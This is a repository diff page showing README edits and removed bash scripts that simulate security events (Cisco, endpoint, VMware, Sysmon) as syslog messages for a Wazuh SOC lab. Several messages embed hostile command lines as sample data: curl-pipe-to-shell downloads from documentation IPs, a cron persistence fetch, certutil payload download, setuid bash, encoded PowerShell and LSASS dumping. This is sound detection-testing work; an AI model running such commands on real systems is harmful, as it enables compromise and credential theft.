440 53
 scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson
441
-scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson
54
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-client-agents-dashboard.ndjson
442 55
 ```
443 56
 
444
-Optional overrides:
57
+## Other helpers
445 58
 
446
-```bash
447
-WAZUH_DASHBOARD_URL=https://localhost \
448
-WAZUH_DASHBOARD_USER=admin \
449
-WAZUH_DASHBOARD_PASS=SecretPassword \
450
-OVERWRITE=true \
451
-scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
452
-```
59
+- `seed-iris-demo-data.sh`: seed IRIS demo cases/tasks via API.
60
+- `create-shuffle-mvp-workflows.sh`: create Shuffle MVP workflows from templates.
61
+- `trigger-shuffle-workflow.sh`: trigger a Shuffle workflow by ID.
62
+- `update-shuffle-workflow-from-template.sh`: update existing Shuffle workflow JSON from template.
453 63
 
454
-### Quick troubleshooting
64
+## Notes
455 65
 
456
-- Verify index pattern has data in Discover: `wazuh-alerts-*`.
457
-- Set time range wide enough (for example `Last 24 hours`).
458
-- If charts are empty but raw logs exist, re-import the latest NDJSON and refresh index fields.
66
+- Legacy `send-wazuh-*` simulator scripts were removed and replaced by `send-wazuh-sim-logs.sh`.
67
+- If you add new sample events, keep comments tagged with use-case IDs (for example `# A2-01 ...`) so selector filtering keeps working.

Plik diff jest za duży
+ 6 - 6
scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson


+ 0 - 136
scripts/send-wazuh-cisco-test-events.sh

@@ -1,136 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-SCENARIO="${1:-all}"
5
-COUNT="${2:-1}"
6
-DELAY="${3:-0.3}"
7
-FOREVER="false"
8
-
9
-for arg in "${@:4}"; do
10
-  case "${arg}" in
11
-    --forever)
12
-      FOREVER="true"
13
-      ;;
14
-    *)
15
-      echo "error: unexpected argument '${arg}'"
16
-      echo "usage: scripts/send-wazuh-cisco-test-events.sh [scenario] [count] [delay_seconds] [--forever]"
17
-      exit 1
18
-      ;;
19
-  esac
20
-done
21
-
22
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
23
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
24
-
25
-CISCO_DEVICE_HOST="${CISCO_DEVICE_HOST:-cisco-asa-01}"
26
-CISCO_SRC_IP="${CISCO_SRC_IP:-198.51.100.25}"
27
-CISCO_DST_IP="${CISCO_DST_IP:-10.10.10.20}"
28
-CISCO_VPN_USER="${CISCO_VPN_USER:-vpn.user}"
29
-CISCO_ADMIN_USER="${CISCO_ADMIN_USER:-admin}"
30
-
31
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
32
-  echo "error: count must be a positive integer"
33
-  exit 1
34
-fi
35
-
36
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
37
-  echo "error: delay must be numeric (example: 0.5)"
38
-  exit 1
39
-fi
40
-
41
-emit_syslog() {
42
-  local msg="$1"
43
-  local sent="false"
44
-
45
-  if command -v nc >/dev/null 2>&1; then
46
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
47
-      sent="true"
48
-    fi
49
-  fi
50
-
51
-  if [[ "${sent}" != "true" ]]; then
52
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
53
-      sent="true"
54
-    fi
55
-  fi
56
-
57
-  if [[ "${sent}" != "true" ]]; then
58
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
59
-    echo "hint: install netcat or run with bash UDP support (/dev/udp)"
60
-    return 1
61
-  fi
62
-
63
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
64
-}
65
-
66
-random_id() {
67
-  printf "%s" "cisco-evt-$(date +%s)-$RANDOM-$RANDOM"
68
-}
69
-
70
-send_asa_acl_deny() {
71
-  local eid
72
-  eid="$(random_id)"
73
-  emit_syslog "<166>$(date '+%b %d %H:%M:%S') ${CISCO_DEVICE_HOST} %ASA-4-106023: Deny tcp src outside:${CISCO_SRC_IP}/51515 dst inside:${CISCO_DST_IP}/445 by access-group \"outside_access_in\" [0x0, 0x0] soc_mvp_test=true vendor=cisco product=asa event_id=${eid} event_type=cisco_asa_acl_deny severity=high"
74
-}
75
-
76
-send_asa_vpn_auth_fail() {
77
-  local eid
78
-  eid="$(random_id)"
79
-  emit_syslog "<166>$(date '+%b %d %H:%M:%S') ${CISCO_DEVICE_HOST} %ASA-4-113019: Group = RA-VPN, Username = ${CISCO_VPN_USER}, IP = ${CISCO_SRC_IP}, Session disconnected. Session Type: SSL, Duration: 0h:00m:01s, Bytes xmt: 0, Bytes rcv: 0, Reason: User Requested. soc_mvp_test=true vendor=cisco product=asa event_id=${eid} event_type=cisco_vpn_auth_fail severity=medium"
80
-}
81
-
82
-send_ios_login_fail() {
83
-  local eid
84
-  eid="$(random_id)"
85
-  emit_syslog "<165>$(date '+%b %d %H:%M:%S') ${CISCO_DEVICE_HOST} %SEC_LOGIN-4-LOGIN_FAILED: Login failed [user: ${CISCO_ADMIN_USER}] [Source: ${CISCO_SRC_IP}] [localport: 22] [Reason: Login Authentication Failed] at 19:30:00 UTC Tue Feb 17 2026 soc_mvp_test=true vendor=cisco product=ios event_id=${eid} event_type=cisco_ios_login_fail severity=medium"
86
-}
87
-
88
-send_ios_config_change() {
89
-  local eid
90
-  eid="$(random_id)"
91
-  emit_syslog "<165>$(date '+%b %d %H:%M:%S') ${CISCO_DEVICE_HOST} %SYS-5-CONFIG_I: Configured from console by ${CISCO_ADMIN_USER} on vty0 ( ${CISCO_SRC_IP} ) soc_mvp_test=true vendor=cisco product=ios event_id=${eid} event_type=cisco_config_change severity=low"
92
-}
93
-
94
-send_once() {
95
-  case "${SCENARIO}" in
96
-    asa_acl_deny)
97
-      send_asa_acl_deny
98
-      ;;
99
-    asa_vpn_auth_fail)
100
-      send_asa_vpn_auth_fail
101
-      ;;
102
-    ios_login_fail)
103
-      send_ios_login_fail
104
-      ;;
105
-    ios_config_change)
106
-      send_ios_config_change
107
-      ;;
108
-    all)
109
-      send_asa_acl_deny
110
-      send_asa_vpn_auth_fail
111
-      send_ios_login_fail
112
-      send_ios_config_change
113
-      ;;
114
-    *)
115
-      echo "error: unknown scenario '${SCENARIO}'"
116
-      echo "valid: asa_acl_deny | asa_vpn_auth_fail | ios_login_fail | ios_config_change | all"
117
-      exit 1
118
-      ;;
119
-  esac
120
-}
121
-
122
-if [[ "${FOREVER}" == "true" ]]; then
123
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
124
-  trap 'echo; echo "stopped"; exit 0' INT TERM
125
-  while true; do
126
-    send_once
127
-    sleep "${DELAY}"
128
-  done
129
-else
130
-  for ((i=1; i<=COUNT; i++)); do
131
-    send_once
132
-    if [[ "${i}" -lt "${COUNT}" ]]; then
133
-      sleep "${DELAY}"
134
-    fi
135
-  done
136
-fi

+ 0 - 228
scripts/send-wazuh-endpoint-agent-test-events.sh

@@ -1,228 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-PLATFORM="${1:-all}"      # windows | mac | linux | all
5
-SCENARIO="${2:-all}"      # auth | process | persistence | privilege | malware | all
6
-COUNT="1"
7
-DELAY="0.3"
8
-FOREVER="false"
9
-DRY_RUN="${DRY_RUN:-0}"
10
-COUNT_SET="false"
11
-DELAY_SET="false"
12
-
13
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
14
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
15
-
16
-WIN_HOST="${WIN_HOST:-win-client-01}"
17
-MAC_HOST="${MAC_HOST:-mac-client-01}"
18
-LINUX_HOST="${LINUX_HOST:-linux-client-01}"
19
-SIM_USER="${SIM_USER:-jane.doe}"
20
-
21
-shift 2 || true
22
-
23
-while (($#)); do
24
-  case "$1" in
25
-    --forever)
26
-      FOREVER="true"
27
-      shift
28
-      ;;
29
-    *)
30
-      if [[ "${COUNT_SET}" == "false" ]]; then
31
-        COUNT="$1"
32
-        COUNT_SET="true"
33
-      elif [[ "${DELAY_SET}" == "false" ]]; then
34
-        DELAY="$1"
35
-        DELAY_SET="true"
36
-      else
37
-        echo "error: unexpected argument '$1'"
38
-        echo "usage: scripts/send-wazuh-endpoint-agent-test-events.sh [platform] [scenario] [count] [delay_seconds] [--forever]"
39
-        exit 1
40
-      fi
41
-      shift
42
-      ;;
43
-  esac
44
-done
45
-
46
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
47
-  echo "error: count must be a positive integer"
48
-  exit 1
49
-fi
50
-
51
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
52
-  echo "error: delay must be numeric (example: 0.5)"
53
-  exit 1
54
-fi
55
-
56
-emit_syslog() {
57
-  local msg="$1"
58
-  local sent="false"
59
-
60
-  if [[ "${DRY_RUN}" == "1" ]]; then
61
-    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
62
-    return 0
63
-  fi
64
-
65
-  if command -v nc >/dev/null 2>&1; then
66
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
67
-      sent="true"
68
-    fi
69
-  fi
70
-
71
-  if [[ "${sent}" != "true" ]]; then
72
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
73
-      sent="true"
74
-    fi
75
-  fi
76
-
77
-  if [[ "${sent}" != "true" ]]; then
78
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
79
-    return 1
80
-  fi
81
-
82
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
83
-}
84
-
85
-rand_public_ip() {
86
-  if [[ $((RANDOM % 2)) -eq 0 ]]; then
87
-    echo "198.51.100.$((RANDOM % 240 + 10))"
88
-  else
89
-    echo "203.0.113.$((RANDOM % 240 + 10))"
90
-  fi
91
-}
92
-
93
-rand_private_ip() {
94
-  echo "10.$((RANDOM % 20 + 10)).$((RANDOM % 200 + 1)).$((RANDOM % 240 + 10))"
95
-}
96
-
97
-send_windows_auth() {
98
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_auth_fail severity=medium event_id=4625 account=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
99
-}
100
-
101
-send_windows_process() {
102
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_suspicious_process severity=high event_id=4688 process=\"powershell.exe\" cmdline=\"powershell -enc <base64>\" parent=\"winword.exe\" user=\"${SIM_USER}\""
103
-}
104
-
105
-send_windows_persistence() {
106
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_persistence_registry severity=high event_id=4657 registry_path=\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Updater\" user=\"${SIM_USER}\""
107
-}
108
-
109
-send_windows_privilege() {
110
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_privilege_group_add severity=high event_id=4732 account=\"${SIM_USER}\" target_group=\"Administrators\""
111
-}
112
-
113
-send_windows_malware() {
114
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_malware_detected severity=high event_id=1116 engine=\"Defender\" threat=\"Trojan:Win32/AgentTesla\" path=\"C:\\\\Users\\\\${SIM_USER}\\\\AppData\\\\Local\\\\Temp\\\\invoice.exe\" action=\"quarantine\""
115
-}
116
-
117
-send_mac_auth() {
118
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_auth_fail severity=medium subsystem=\"com.apple.loginwindow\" user=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
119
-}
120
-
121
-send_mac_process() {
122
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_suspicious_process severity=high process=\"osascript\" cmdline=\"osascript -e do shell script curl ...\" parent=\"Safari\" user=\"${SIM_USER}\""
123
-}
124
-
125
-send_mac_persistence() {
126
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_launchagent_created severity=high plist=\"/Users/${SIM_USER}/Library/LaunchAgents/com.apple.updater.plist\" user=\"${SIM_USER}\""
127
-}
128
-
129
-send_mac_privilege() {
130
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_privilege_escalation severity=high action=\"sudo\" user=\"${SIM_USER}\" tty=\"ttys001\" cmd=\"/bin/chmod +s /bin/bash\""
131
-}
132
-
133
-send_mac_malware() {
134
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_xprotect_detected severity=high signature=\"OSX.Adload\" file=\"/Users/${SIM_USER}/Downloads/installer.pkg\" action=\"blocked\""
135
-}
136
-
137
-send_linux_auth() {
138
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_ssh_auth_fail severity=medium process=\"sshd\" user=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
139
-}
140
-
141
-send_linux_process() {
142
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_suspicious_process severity=high process=\"curl\" cmdline=\"curl http://198.51.100.20/a.sh | bash\" user=\"${SIM_USER}\""
143
-}
144
-
145
-send_linux_persistence() {
146
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_cron_persistence severity=high file=\"/etc/cron.d/system-update\" user=\"root\" command=\"*/5 * * * * curl -fsSL http://203.0.113.20/s | sh\""
147
-}
148
-
149
-send_linux_privilege() {
150
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_sudo_privilege_escalation severity=high user=\"${SIM_USER}\" command=\"sudo usermod -aG sudo ${SIM_USER}\" src_ip=$(rand_private_ip)"
151
-}
152
-
153
-send_linux_malware() {
154
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_malware_detected severity=high scanner=\"clamav\" signature=\"Unix.Trojan.Mirai\" file=\"/tmp/kworkerd\" action=\"removed\""
155
-}
156
-
157
-send_one_platform() {
158
-  local p="$1"
159
-  case "${SCENARIO}" in
160
-    auth)
161
-      "send_${p}_auth"
162
-      ;;
163
-    process)
164
-      "send_${p}_process"
165
-      ;;
166
-    persistence)
167
-      "send_${p}_persistence"
168
-      ;;
169
-    privilege)
170
-      "send_${p}_privilege"
171
-      ;;
172
-    malware)
173
-      "send_${p}_malware"
174
-      ;;
175
-    all)
176
-      "send_${p}_auth"
177
-      "send_${p}_process"
178
-      "send_${p}_persistence"
179
-      "send_${p}_privilege"
180
-      "send_${p}_malware"
181
-      ;;
182
-    *)
183
-      echo "error: unknown scenario '${SCENARIO}'"
184
-      echo "valid: auth | process | persistence | privilege | malware | all"
185
-      exit 1
186
-      ;;
187
-  esac
188
-}
189
-
190
-send_once() {
191
-  case "${PLATFORM}" in
192
-    windows)
193
-      send_one_platform "windows"
194
-      ;;
195
-    mac|macos)
196
-      send_one_platform "mac"
197
-      ;;
198
-    linux)
199
-      send_one_platform "linux"
200
-      ;;
201
-    all)
202
-      send_one_platform "windows"
203
-      send_one_platform "mac"
204
-      send_one_platform "linux"
205
-      ;;
206
-    *)
207
-      echo "error: unknown platform '${PLATFORM}'"
208
-      echo "valid: windows | mac | linux | all"
209
-      exit 1
210
-      ;;
211
-  esac
212
-}
213
-
214
-if [[ "${FOREVER}" == "true" ]]; then
215
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
216
-  trap 'echo; echo "stopped"; exit 0' INT TERM
217
-  while true; do
218
-    send_once
219
-    sleep "${DELAY}"
220
-  done
221
-else
222
-  for ((i=1; i<=COUNT; i++)); do
223
-    send_once
224
-    if [[ "${i}" -lt "${COUNT}" ]]; then
225
-      sleep "${DELAY}"
226
-    fi
227
-  done
228
-fi

Plik diff jest za duży
+ 0 - 217
scripts/send-wazuh-fortigate-continuous.sh


Plik diff jest za duży
+ 0 - 135
scripts/send-wazuh-fortigate-test-events.sh


+ 0 - 230
scripts/send-wazuh-proposal-appendix-b-events.sh

@@ -1,230 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-# Usage:
5
-#   scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
6
-#
7
-# selector:
8
-#   all | b1 | b2 | b3 | <usecase_id>
9
-#   example usecase_id: B1-01, B2-01, B3-06
10
-
11
-SELECTOR="${1:-all}"
12
-COUNT="${2:-1}"
13
-DELAY="${3:-0.3}"
14
-EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
-DRY_RUN="${DRY_RUN:-0}"
16
-FOREVER="false"
17
-PROFILE="${PROFILE:-simulation}"
18
-
19
-for arg in "${@:4}"; do
20
-  case "${arg}" in
21
-    --forever)
22
-      FOREVER="true"
23
-      ;;
24
-    --profile=*)
25
-      PROFILE="${arg#*=}"
26
-      ;;
27
-    *)
28
-      echo "error: unexpected argument '${arg}'"
29
-      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
30
-      exit 1
31
-      ;;
32
-  esac
33
-done
34
-
35
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
36
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
37
-
38
-VCENTER_HOST="${VCENTER_HOST:-vcenter-01}"
39
-ESXI_HOST="${ESXI_HOST:-esxi-01}"
40
-LOGMON_HOST="${LOGMON_HOST:-logmon-01}"
41
-WIN_SYSMON_HOST="${WIN_SYSMON_HOST:-win-sysmon-01}"
42
-SIM_USER="${SIM_USER:-jane.doe}"
43
-
44
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
45
-  echo "error: count must be a positive integer"
46
-  exit 1
47
-fi
48
-
49
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
50
-  echo "error: delay must be numeric"
51
-  exit 1
52
-fi
53
-
54
-if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
55
-  echo "error: EVENT_DELAY must be numeric"
56
-  exit 1
57
-fi
58
-
59
-if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
-  echo "error: profile must be simulation or production"
61
-  exit 1
62
-fi
63
-
64
-rand_public_ip() {
65
-  if [[ $((RANDOM % 2)) -eq 0 ]]; then
66
-    echo "198.51.100.$((RANDOM % 240 + 10))"
67
-  else
68
-    echo "203.0.113.$((RANDOM % 240 + 10))"
69
-  fi
70
-}
71
-
72
-emit_syslog() {
73
-  local msg="$1"
74
-  local sent="false"
75
-
76
-  if [[ "${DRY_RUN}" == "1" ]]; then
77
-    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
78
-    return 0
79
-  fi
80
-
81
-  if command -v nc >/dev/null 2>&1; then
82
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
83
-      sent="true"
84
-    fi
85
-  fi
86
-
87
-  if [[ "${sent}" != "true" ]]; then
88
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
89
-      sent="true"
90
-    fi
91
-  fi
92
-
93
-  if [[ "${sent}" != "true" ]]; then
94
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
95
-    return 1
96
-  fi
97
-
98
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
99
-}
100
-
101
-selector_matches() {
102
-  local id="$1"
103
-  local section="$2"
104
-  local sel
105
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
106
-  local idl
107
-  idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
108
-  local sec
109
-  sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
110
-
111
-  [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
112
-}
113
-
114
-emit_b_usecase() {
115
-  local id="$1"
116
-  local section="$2"
117
-  local severity="$3"
118
-  local source="$4"
119
-  local host="$5"
120
-  local usecase="$6"
121
-  local body="$7"
122
-
123
-  selector_matches "${id}" "${section}" || return 0
124
-
125
-  local tags
126
-  if [[ "${PROFILE}" == "production" ]]; then
127
-    tags="soc_mvp_test=true source=${source} severity=${severity}"
128
-  else
129
-    tags="soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
130
-  fi
131
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} ${tags} ${body}"
132
-  sleep "${EVENT_DELAY}"
133
-}
134
-
135
-emit_b1() {
136
-  local sip
137
-  sip="$(rand_public_ip)"
138
-
139
-  emit_b_usecase "B1-01" "B1" "high" "vmware" "${VCENTER_HOST}" \
140
-    "vCenter GUI Login Failed 5 Times and Success 1 Time" \
141
-    "event_type=vmware_vcenter_login_fail_success login_fail_count=5 login_success_count=1 user=\"${SIM_USER}\" src_ip=${sip}"
142
-
143
-  emit_b_usecase "B1-02" "B1" "medium" "vmware" "${ESXI_HOST}" \
144
-    "ESXi Enable SSH on Hosts" \
145
-    "event_type=vmware_esxi_enable_ssh action=enable service=ssh user=\"root\" host=\"${ESXI_HOST}\""
146
-
147
-  emit_b_usecase "B1-03" "B1" "high" "vmware" "${ESXI_HOST}" \
148
-    "ESXi SSH Failed 5 Times and Success 1 Time" \
149
-    "event_type=vmware_esxi_ssh_fail_success ssh_fail_count=5 ssh_success_count=1 user=\"root\" src_ip=${sip}"
150
-}
151
-
152
-emit_b2() {
153
-  emit_b_usecase "B2-01" "B2" "low" "log_monitor" "${LOGMON_HOST}" \
154
-    "Log Monitor Logs Loss Detection" \
155
-    "event_type=log_loss_detection missing_stream=firewall expected_eps=500 observed_eps=0 duration_seconds=180"
156
-}
157
-
158
-emit_b3() {
159
-  emit_b_usecase "B3-01" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
160
-    "Sysmon LSASS Dumping" \
161
-    "event_type=sysmon_lsass_dump event_id=10 process=procdump.exe target_process=lsass.exe user=\"${SIM_USER}\""
162
-
163
-  emit_b_usecase "B3-02" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
164
-    "Sysmon SQL Injection" \
165
-    "event_type=sysmon_sql_injection event_id=1 process=w3wp.exe url=\"/app/login.php?id=1%27%20OR%201=1--\""
166
-
167
-  emit_b_usecase "B3-03" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
168
-    "Sysmon Webshell" \
169
-    "event_type=sysmon_webshell event_id=11 file=\"C:\\\\inetpub\\\\wwwroot\\\\shell.aspx\" process=w3wp.exe"
170
-
171
-  emit_b_usecase "B3-04" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
172
-    "Sysmon Uninstall" \
173
-    "event_type=sysmon_security_agent_uninstall event_id=1 process=msiexec.exe cmdline=\"msiexec /x security-agent\" user=\"${SIM_USER}\""
174
-
175
-  emit_b_usecase "B3-05" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
176
-    "Sysmon LSASS Dumping by Task Manager" \
177
-    "event_type=sysmon_lsass_dump_taskmgr event_id=10 process=taskmgr.exe target_process=lsass.exe action=create_dump"
178
-
179
-  emit_b_usecase "B3-06" "B3" "medium" "windows_sysmon" "${WIN_SYSMON_HOST}" \
180
-    "Sysmon CertUtil Download" \
181
-    "event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\""
182
-}
183
-
184
-emit_selected_set() {
185
-  local sel
186
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
187
-
188
-  case "${sel}" in
189
-    all)
190
-      emit_b1
191
-      emit_b2
192
-      emit_b3
193
-      ;;
194
-    b1|b1-*)
195
-      emit_b1
196
-      ;;
197
-    b2|b2-*)
198
-      emit_b2
199
-      ;;
200
-    b3|b3-*)
201
-      emit_b3
202
-      ;;
203
-    *)
204
-      emit_b1
205
-      emit_b2
206
-      emit_b3
207
-      ;;
208
-  esac
209
-}
210
-
211
-echo "starting proposal Appendix B log simulator"
212
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
213
-echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
214
-
215
-if [[ "${FOREVER}" == "true" ]]; then
216
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
217
-  trap 'echo; echo "stopped"; exit 0' INT TERM
218
-  while true; do
219
-    emit_selected_set
220
-    sleep "${DELAY}"
221
-  done
222
-else
223
-  for ((i=1; i<=COUNT; i++)); do
224
-    emit_selected_set
225
-    if [[ "${i}" -lt "${COUNT}" ]]; then
226
-      sleep "${DELAY}"
227
-    fi
228
-  done
229
-  echo "done"
230
-fi

+ 0 - 235
scripts/send-wazuh-proposal-appendix-c-events.sh

@@ -1,235 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-# Usage:
5
-#   scripts/send-wazuh-proposal-appendix-c-events.sh [selector] [count] [delay_seconds] [--forever]
6
-#
7
-# selector:
8
-#   all | c1 | c2 | c3 | <usecase_id>
9
-#   example usecase_id: C1-01, C2-03, C3-04
10
-
11
-SELECTOR="${1:-all}"
12
-COUNT="${2:-1}"
13
-DELAY="${3:-0.3}"
14
-EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
-DRY_RUN="${DRY_RUN:-0}"
16
-FOREVER="false"
17
-
18
-for arg in "${@:4}"; do
19
-  case "${arg}" in
20
-    --forever)
21
-      FOREVER="true"
22
-      ;;
23
-    *)
24
-      echo "error: unexpected argument '${arg}'"
25
-      echo "usage: scripts/send-wazuh-proposal-appendix-c-events.sh [selector] [count] [delay_seconds] [--forever]"
26
-      exit 1
27
-      ;;
28
-  esac
29
-done
30
-
31
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
32
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
33
-VPN_HOST="${VPN_HOST:-fgt-vpn-01}"
34
-WIN_HOST="${WIN_HOST:-win-ad-01}"
35
-SIM_USER="${SIM_USER:-alice.admin}"
36
-SIM_SERVICE_USER="${SIM_SERVICE_USER:-svc_backup}"
37
-SIM_SRC_IP="${SIM_SRC_IP:-203.0.113.44}"
38
-
39
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
40
-  echo "error: count must be a positive integer"
41
-  exit 1
42
-fi
43
-
44
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
45
-  echo "error: delay must be numeric"
46
-  exit 1
47
-fi
48
-
49
-emit_syslog() {
50
-  local msg="$1"
51
-  local sent="false"
52
-
53
-  if [[ "${DRY_RUN}" == "1" ]]; then
54
-    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
55
-    return 0
56
-  fi
57
-
58
-  if command -v nc >/dev/null 2>&1; then
59
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
60
-      sent="true"
61
-    fi
62
-  fi
63
-
64
-  if [[ "${sent}" != "true" ]]; then
65
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
66
-      sent="true"
67
-    fi
68
-  fi
69
-
70
-  if [[ "${sent}" != "true" ]]; then
71
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
72
-    return 1
73
-  fi
74
-
75
